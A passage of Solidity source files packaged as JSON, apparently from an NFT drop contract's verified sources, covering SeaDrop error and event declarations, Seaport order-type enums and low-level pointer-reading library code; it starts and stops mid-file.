*/\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n"
},
"lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := 